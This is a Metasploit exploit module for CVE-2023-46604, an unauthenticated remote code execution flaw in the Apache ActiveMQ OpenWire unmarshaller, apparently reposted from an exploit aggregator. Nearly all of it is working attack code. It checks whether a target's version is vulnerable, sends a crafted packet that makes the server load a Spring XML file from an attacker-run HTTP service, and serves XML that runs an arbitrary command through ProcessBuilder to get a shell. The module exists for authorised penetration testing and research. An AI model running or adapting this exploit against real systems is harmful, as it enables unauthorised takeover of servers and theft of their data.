## https://sploitus.com/exploit?id=1337DAY-ID-39139
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Retry
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Apache ActiveMQ Unauthenticated Remote Code Execution',
'Description' => %q{
This module exploits a deserialization vulnerability in the OpenWire transport unmarshaller in Apache
ActiveMQ. Affected versions include 5.18.0 through to 5.18.2, 5.17.0 through to 5.17.5, 5.16.0 through to
5.16.6, and all versions before 5.15.16.
},
'License' => MSF_LICENSE,
'Author' => [
'X1r0z', # Original technical analysis & exploit
'sfewer-r7', # MSF exploit & Rapid7 analysis
],
'References' => [
['CVE', '2023-46604'],
['URL', 'https://github.com/X1r0z/ActiveMQ-RCE'],
['URL', 'https://exp10it.cn/2023/10/apache-activemq-%E7%89%88%E6%9C%AC-5.18.3-rce-%E5%88%86%E6%9E%90/'],
['URL', 'https://attackerkb.com/topics/IHsgZDE3tS/cve-2023-46604/rapid7-analysis'],
['URL', 'https://activemq.apache.org/security-advisories.data/CVE-2023-46604-announcement.txt']
],
'DisclosureDate' => '2023-10-27',
'Privileged' => false,
'Platform' => %w[win linux unix],
'Arch' => [ARCH_CMD],
# The Msf::Exploit::Remote::HttpServer mixin will bring in Exploit::Remote::SocketServer, this will set the
# Stance to passive, which is unexpected and results in the exploit running as a background job, as RunAsJob will
# be set to true. To avoid this happening, we explicitly set the Stance to Aggressive.
'Stance' => Stance::Aggressive,
'Targets' => [
[
'Windows',
{
'Platform' => 'win'
}
],
[
'Linux',
{
'Platform' => 'linux'
}
],
[
'Unix',
{
'Platform' => 'unix'
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
# By default ActiveMQ listens for OpenWire requests on TCP port 61616.
'RPORT' => 61616,
# The maximum time in seconds to wait for a session.
'WfsDelay' => 30
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
end
def check
connect
res = sock.get_once
disconnect
return CheckCode::Unknown unless res
len, _, magic = res.unpack('NCZ*')
return CheckCode::Unknown unless res.length == len + 4
return CheckCode::Unknown unless magic == 'ActiveMQ'
return CheckCode::Detected unless res =~ /ProviderVersion...(\d+\.\d+\.\d+)/
version = Rex::Version.new(::Regexp.last_match(1))
ranges = [
['5.18.0', '5.18.2'],
['5.17.0', '5.17.5'],
['5.16.0', '5.16.6'],
['0.0.0', '5.15.15']
]
ranges.each do |min, max|
if version.between?(Rex::Version.new(min), Rex::Version.new(max))
return Exploit::CheckCode::Appears("Apache ActiveMQ #{version}")
end
end
Exploit::CheckCode::Safe("Apache ActiveMQ #{version}")
end
def exploit
# The payload is send in a CDATA section of an XML file. Therefore, the payload cannot contain a CDATA closing tag.
if payload.encoded.include? ']]>'
fail_with(Failure::BadConfig, 'The encoded payload data may not contain the CDATA closing tag ]]>')
end
start_service
connect
# The vulnerability allows us to instantiate an arbitrary class, with a single arbitrary string parameter. To
# leverage this we can use ClassPathXmlApplicationContext, and pass a URL to an XML configuration file we
# serve. This XML file allows us to create arbitrary classes, and call arbitrary methods. This is leveraged to
# run an attacker supplied command line via java.lang.ProcessBuilder.start.
clazz = 'org.springframework.context.support.ClassPathXmlApplicationContext'
# 31 is the EXCEPTION_RESPONSE data type.
data = [31].pack('C')
# ResponseMarshaller.looseUnmarshal reads a 4 byte int for the command id.
data << [0].pack('N')
# and a 1 byte boolean for response required.
data << [0].pack('C')
# ResponseMarshaller.looseUnmarshal read a 4 byte int for the correlation ID.
data << [0].pack('N')
# BaseDataStreamMarshaller.looseUnmarsalThrowable wants a boolean true to continue to unmarshall.
data << [1].pack('C')
# BaseDataStreamMarshaller.looseUnmarshalString reads a byte boolean and if true, reads a UTF-8 string.
data << [1].pack('C')
# First 2 bytes are the length.
data << [clazz.length].pack('n')
# Then the string data. This is the class name to instantiate.
data << clazz
# Same again for the method string. This is the single string parameter used during class instantiation.
data << [1].pack('C')
data << [get_uri.length].pack('n')
data << get_uri
sock.puts([data.length].pack('N') + data)
retry_until_truthy(timeout: datastore['WfsDelay']) do
!handler_enabled? || session_created?
end
handler
ensure
cleanup
end
def on_request_uri(cli, request)
if request.uri != get_resource
super
end
case target['Platform']
when 'win'
shell = 'cmd.exe'
flag = '/c'
when 'linux', 'unix'
shell = '/bin/sh'
flag = '-c'
end
xml = %(<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="#{Rex::Text.rand_text_alpha(8)}" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>#{shell}</value>
<value>#{flag}</value>
<value><![CDATA[#{payload.encoded}]]></value>
</list>
</constructor-arg>
</bean>
</beans>)
send_response(cli, xml, {
'Content-Type' => 'application/xml',
'Connection' => 'close',
'Pragma' => 'no-cache'
})
print_status('Sent ClassPathXmlApplicationContext configuration file.')
end
end